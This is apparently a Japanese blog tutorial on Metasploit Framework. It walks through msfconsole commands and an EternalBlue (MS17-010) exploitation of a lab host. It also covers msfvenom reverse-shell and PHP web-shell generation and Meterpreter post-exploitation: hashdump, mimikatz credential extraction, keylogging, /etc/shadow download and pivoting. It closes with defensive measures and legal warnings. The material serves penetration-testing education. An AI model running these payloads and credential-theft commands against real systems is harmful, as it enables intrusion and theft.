Metasploit Framework とは — 使い方とペンテスト活用 のサムネイル

Metasploit Framework とは — 使い方とペンテスト活用

⏱ 約 12 分 view 292 like 0 LOG_DATE:2026-05-09
目次 / TOC

Metasploit Framework は、世界中のペンテスター・レッドチームが共通言語のように使うオープンソースの攻撃フレームワーク。脆弱性検証・エクスプロイト実行・ペイロード生成・ポストエクスプロイテーションまでを一つのインターフェースから扱える。本稿は「実際に手を動かして使えるようになる」ことを目標に、コマンドとハンズオンを中心にまとめた。

01

Metasploit とは #

Metasploit Framework は、ペネトレーションテストや脆弱性検証で使われるオープンソースの攻撃フレームワーク。「攻撃コードを毎回ゼロから書く」のではなく、統一されたインターフェースから既知の exploit / ペイロード / ポストモジュールを呼び出せる ことが価値の中心。

Kali Linux / Parrot OS に標準搭載されており、OSCP・CEH 等の主要資格でも実技対象。「最初に触れる攻撃ツール」として事実上のデファクト。

▸ 一行でわかる歴史

2003 年に HD Moore が Perl で開始 → 2007 年 v3.0 で Ruby に全面リライト → 2009 年 Rapid7 が買収して現在まで活発に開発継続。

何ができるのか #

  • 脆弱性のスキャン(auxiliary モジュール群)
  • 既知 CVE のエクスプロイト(exploit モジュール群、数千件)
  • ペイロード生成(msfvenom — exe / elf / php / shellcode 等)
  • ポストエクスプロイテーション(Meterpreter による情報収集・横展開・特権昇格)
  • リスナー / handler(リバース接続の受信)
02

起動とデータベース初期化 #

Kali であれば最初から入っている。DB 初期化は最初に一度だけやると、後で hosts / services / vulns 等の結果管理コマンドが使える。

起動シーケンス
$ sudo msfdb init # PostgreSQL 起動 + DB 作成(初回のみ) $ msfconsole # 対話シェル起動 =[ metasploit v6.x.x-dev ] + -- --=[ 2300+ exploits - 1200+ auxiliary - 410+ post ] + -- --=[ 950+ payloads - 45+ encoders - 11+ nops ] msf6 > db_status [*] Connected to msf. Connection type: postgresql.
▸ 最初に覚える 3 つ

help で組み込みコマンド一覧、search でモジュール検索、use でモジュール選択。この 3 つでだいたい動ける。

03

基本ワークフロー(5 ステップ) #

Metasploit を使った攻撃の流れは、ほぼどのターゲットでも以下の型に収まる。

1. 偵察(Recon)
nmap で開放ポート / バージョン特定。db_nmap なら結果が msf DB に入る。
2. モジュール検索
search で該当 CVE / サービスに対応する exploit を探す。
3. 選択 + 設定
use でモジュール選択 → show optionsset RHOSTS / LHOST / PAYLOAD
4. 実行
check で脆弱性を事前確認 → exploit。セッション獲得。
5. ポストエクスプロイト
Meterpreter で情報収集・横展開・特権昇格・永続化。
04

モジュール体系 #

すべての機能は「モジュール」という単位。/usr/share/metasploit-framework/modules/ 配下にツリー状に配置される。

種別役割代表例
exploit脆弱性を悪用してコード実行exploit/windows/smb/ms17_010_eternalblue
auxiliaryスキャン・ブルートフォース・リスナー等の補助機能auxiliary/scanner/portscan/tcp
payloadエクスプロイト成功後にターゲットで動くコードwindows/x64/meterpreter/reverse_tcp
post侵入後の自動化(情報収集 / 横展開 / 永続化)post/multi/recon/local_exploit_suggester
encoderシェルコードを変換して静的検出を回避x86/shikata_ga_nai
evasionAV 回避を組み込んだ実行ファイル生成windows/windows_defender_exe

ペイロードの 3 構造 #

  • single (inline) — 単一バイナリ。サイズ大きいが安定。
  • stager — 小さな初期コードで本体をネット越しにダウンロード。バッファ制約のある exploit 向け。
  • stage — stager がロードする本体。Meterpreter はこの仕組みで動く。
05

msfconsole 必須コマンド #

暗記すべき最小セット。これだけで 95% の操作が可能。

検索 / 選択 / 設定 / 実行
# 検索 msf6 > search ms17_010 msf6 > search type:exploit platform:windows # モジュール選択(search 結果のインデックスでも可) msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > use 0 msf6 > back # 一つ戻る # 情報確認 msf6 > info msf6 > show options msf6 > show payloads msf6 > show targets # パラメータ設定 msf6 > set RHOSTS 192.168.56.50 msf6 > set LHOST eth0 # IF 名で指定可 msf6 > setg LHOST 10.0.2.4 # グローバル設定(全モジュールへ) # 実行 msf6 > check # 脆弱性の事前検証 msf6 > exploit msf6 > exploit -j -z # バックグラウンド実行 msf6 > run # exploit と同義
セッション / ジョブ管理
msf6 > sessions -l # 一覧 msf6 > sessions -i 1 # ID=1 にアタッチ meterpreter > background # Ctrl+Z でも OK、コンソールに戻る msf6 > sessions -K # 全セッション切断 msf6 > jobs -l msf6 > jobs -K
DB 連携(msfdb init 済みであること)
msf6 > workspace -a redteam # ワークスペース作成 msf6 > db_nmap -sS 192.168.56.0/24 msf6 > hosts # 発見ホスト一覧 msf6 > services # サービス一覧 msf6 > vulns # 脆弱性候補 msf6 > loot # 取得ファイル
06

ハンズオン — EternalBlue(MS17-010) #

2017 年 WannaCry ランサムウェアで使われた SMB v1 の脆弱性。Windows 7 / Server 2008 R2 の未パッチ機が刺さる定番演習。HackTheBox Blue や OSCP ラボでも頻出。

STEP 1 — 偵察 #

nmap で SMB 検出
$ nmap -p 445 --script smb-vuln-ms17-010 192.168.56.50 PORT STATE SERVICE 445/tcp open microsoft-ds | smb-vuln-ms17-010: | VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

STEP 2 — モジュール検索 #

msfconsole で search
msf6 > search ms17_010 Matching Modules # Name 0 exploit/windows/smb/ms17_010_eternalblue 1 exploit/windows/smb/ms17_010_psexec 2 auxiliary/scanner/smb/smb_ms17_010

STEP 3 — 設定 + check #

パラメータ設定 → 脆弱性事前検証
msf6 > use 0 msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.50 msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.106 msf6 exploit(ms17_010_eternalblue) > check [+] 192.168.56.50:445 - Host is likely VULNERABLE to MS17-010!

STEP 4 — 実行 #

exploit → Meterpreter セッション獲得
msf6 exploit(ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 192.168.56.106:4444 [*] 192.168.56.50:445 - ...exploitation successful... [*] Sending stage (200774 bytes) to 192.168.56.50 [*] Meterpreter session 1 opened meterpreter > getuid Server username: NT AUTHORITY\SYSTEM # 一発で SYSTEM meterpreter > sysinfo Computer : DC01 OS : Windows 7 (6.1 Build 7601, SP1) Architecture: x64
▸ なぜ EternalBlue で SYSTEM がいきなり取れるのか

SMB サービスはカーネルレベル(srv.sys)で動作している。SMB ドライバの脆弱性を突くため、シェルコードは最初から SYSTEM 権限 で実行される。ユーザランドの exploit と違い、後続の特権昇格が要らない。

07

msfvenom でペイロード生成 #

スタンドアロンのペイロード生成ツール。手元で exe / elf / php / shellcode を作って、別の経路(ファイルアップロード、メール添付、USB 等)で実行させたい時に使う。

主要オプション #

  • -p <payload> — ペイロード名
  • LHOST= / LPORT= — リバース接続先(set ではなく =
  • -f <format> — 出力形式(exe / elf / raw / php / c 等)
  • -e <encoder> / -i <count> — エンコーダ + 反復回数
  • -b '\x00\x0a\x0d' — bad chars 除外
  • -o <file> — 出力先

よく使う組み合わせ #

msfvenom サンプル
# Windows 用 Meterpreter exe $ msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.106 LPORT=4444 \ -f exe -o shell.exe # Linux ELF $ msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.106 LPORT=4444 \ -f elf -o shell.elf # PHP Web シェル $ msfvenom -p php/meterpreter/reverse_tcp \ LHOST=192.168.56.106 LPORT=4444 \ -f raw -o shell.php # C 用シェルコード(BoF 実験用、bad chars 除外) $ msfvenom -p linux/x86/shell_reverse_tcp \ LHOST=192.168.56.106 LPORT=4444 \ -b '\x00\x0a\x0d' -f c

受け取り側 — multi/handler #

生成したペイロードからのリバース接続を受けるには multi/handler を立てる。

handler 起動
msf6 > use exploit/multi/handler msf6 exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(handler) > set LHOST 192.168.56.106 msf6 exploit(handler) > set LPORT 4444 msf6 exploit(handler) > exploit -j # バックグラウンドで listen
▸ エンコーダで AV は回避できない

shikata_ga_nai 等のエンコーダはあくまで「静的シグネチャ」回避用。現代の EDR は動作解析・サンドボックス・メモリスキャンで検出するため、msfvenom 直生成のバイナリは「すぐ検知される前提」で扱う。

08

Meterpreter #

Meterpreter は Metasploit 独自のペイロードで、メモリ常駐暗号化通信クロスプラットフォーム動的モジュール拡張 が特徴。Disk にバイナリを残さないため AV から見えづらく、生のリバースシェルより圧倒的に高機能。

頻出コマンド #

情報収集 / 特権昇格
meterpreter > sysinfo # OS / アーキ meterpreter > getuid # 現在のユーザ meterpreter > ps # プロセス一覧 # Windows 特権昇格 meterpreter > getsystem # SYSTEM 昇格を試行 meterpreter > hashdump # SAM のハッシュ抽出(要 SYSTEM) meterpreter > load kiwi # mimikatz 機能をロード meterpreter > kiwi_cmd "sekurlsa::logonpasswords"
ファイル / プロセス / 入力監視
meterpreter > download /etc/shadow meterpreter > upload payload.exe C:\\Windows\\Temp\\ meterpreter > migrate 1234 # 別プロセスへ移植(検知回避 / 特権変更) meterpreter > screenshot # スクリーンショット取得 meterpreter > keyscan_start # キーロガー開始 meterpreter > keyscan_dump meterpreter > shell # ネイティブ cmd / sh を起動

Pivoting — 内部ネットワークへの横展開 #

侵入したホストを踏み台に、本来到達不能な内部 IP セグメントへスキャン・exploit を流せる。

autoroute でルートを追加
meterpreter > run autoroute -s 10.0.0.0/24 msf6 > use auxiliary/scanner/portscan/tcp msf6 auxiliary(tcp) > set RHOSTS 10.0.0.5 msf6 auxiliary(tcp) > run # 侵入済ホスト経由で 10.0.0.5 をスキャン
09

防御の視点と倫理 #

Metasploit は攻撃ツールであると同時に、「自社環境でこれが通るかを確かめる検証ツール」でもある。ブルーチーム側にとっても必須教養。

防御の打ち手 #

  • 既知 CVE を放置しない — Metasploit の exploit は既知 CVE が大半。パッチで多くが死ぬ。
  • EDR を最新に — Meterpreter のリフレクティブ DLL injection は EDR で検出可能。
  • SMBv1 / LLMNR / NetBIOS を無効化 — EternalBlue 系・Responder 系の温床。
  • LAPS / JIT 管理者 — パスワード再利用による横展開を阻止。
  • SIEM でログ集約 — 異常な PowerShell・新規プロセス・SMB アクセスを検知。
▸ 法的・倫理的留意事項

Metasploit を他者のシステムに対して無断で実行することは犯罪。日本では不正アクセス禁止法 / 刑法(電子計算機損壊等業務妨害罪)に該当しうる。

利用は次の範囲のみ:

  • 自分が管理する環境(自宅 LAN / 自作 VM / HackTheBox / VulnHub)
  • 書面で許可を得たペネトレーションテスト(依頼主と契約済み)
  • CTF(主催者が明示的に攻撃を許可している場面のみ)

「PoC を試したいから」「友達のサーバで」「会社の同僚の PC に」— すべてアウト。

まとめ #

  • Metasploit は 探索 → 選択 → 設定 → 実行 → ポスト の 5 ステップで動く統一フレームワーク
  • 中心 UI は msfconsole、独立ペイロード生成は msfvenom、結果管理は msfdb
  • Meterpreter はメモリ常駐ステルスシェル。migrate / hashdump / autoroute が後処理の主力
  • EDR 時代の現在、素の msfvenom 出力は検知される前提。回避は別フレームワーク(Sliver, Cobalt Strike 等)の領域
  • 使うのは許可された環境だけ — これが守れない人は触らない
𝕏 ポスト B! はてブ